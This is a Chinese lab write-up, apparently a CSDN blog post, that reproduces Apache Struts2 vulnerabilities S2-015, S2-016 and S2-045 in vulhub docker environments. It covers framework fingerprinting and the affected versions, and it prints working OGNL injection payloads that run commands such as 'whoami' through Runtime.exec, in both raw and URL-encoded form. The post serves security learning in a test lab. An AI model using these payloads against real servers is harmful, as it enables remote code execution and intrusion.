Strtus2历史漏洞复现

本文详细介绍了Apache Struts框架的多个版本存在的安全漏洞,包括S2-015至S2-059,涵盖了命令执行、文件上传等严重风险。通过错误消息、URL后缀、特定页面存在性等方式判断Struts框架的使用,并提供了漏洞复现步骤及POC。同时,文章给出了临时防护措施,如修改配置、过滤Content-Type和升级到不受影响的版本。

Strtus简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts2;Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

判断框架

常规办法有

1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

2、通过网页后缀来判断,如.do.action,有可能不准。

3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

其它的方法:

通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。

利用方法:

如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

影响版本

漏洞编号 CVE编号 影响版本 实现功能
S2-015 CVE-2013-2135 S2.0.0-2.3.14.2 任意命令执行和反弹shell
S2-016 CVE-2013-2251 S2.0.0-2.3.15 获取WEB路径,任意命令执行,反弹shell和文件上传
S2-045 CVE-2017-6738 S2.3.5-2.3.31;2.5-2.5.10 获取WEB路径,任意命令执行,反弹shell和文件上传
S2-052 CVE-2017-9805 S2.1.2-2.3.33;2.5-2.5.12 任意命令执行和反弹shell和文件上传
S2-057 CVE-2018-11776 S2.3.-2.3.34;2.5-2.5.16 任意命令执行和反弹shell
S2-059 CVE-2019-0230 S2.0.0-2.5.20 任意命令执行

S2-015(CVE-2013-2135)复现

原理:如果一个请求与任何其他定义的操作不匹配,它将被匹配*,并且所请求的操作名称将用于以操作名称加载JSP文件。并且,1作为OGNL表达式的威胁值,{ }可以在服务器端执行任意的Java代码。

影响版本:S2.0.0-2.3.14.2

复现流程

进入到vulhub-master目录下

ls
cd strtus2
ls
cd s2-015
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场ip:port。如图搭建成功!
    在这里插入图片描述

  2. 构造poc,使用抓包工具burp suite,修改数据包插入poc

在这里插入图片描述poc使用之前要先进行url编码。
Poc:
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream()),#q}.action
编码后:
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action

4.使用工具。
在这里插入图片描述

S2-016(CVE-2013-2251)复现

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

影响版本:Struts 2.0.0 – 2.3.15

复现流程

  1. 进入到vulhub-master目录下
ls
cd strtus2
ls
cd s2-016
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场地址。在这里插入图片描述
  2. poc测试
/index.action?redirect:%25%7B5*5%7D

在这里插入图片描述命令被成功执行。说明存在漏洞。

  1. 使用工具检测。

在这里插入图片描述

S2-045(CVE-2017-6738)复现

原理:在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

影响版本:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

漏洞复现

  1. 搭建环境
ls
cd strtus2
ls
cd s2-045
ls
docker-compose up -d

在这里插入图片描述

  1. 访问靶场地址。
http://192.168.100.244:8080/doUpload.action

在这里插入图片描述

  1. 随意上传一个文件并抓包。修改Content-Type。

%{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(10*100)).(#ros.flush())}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值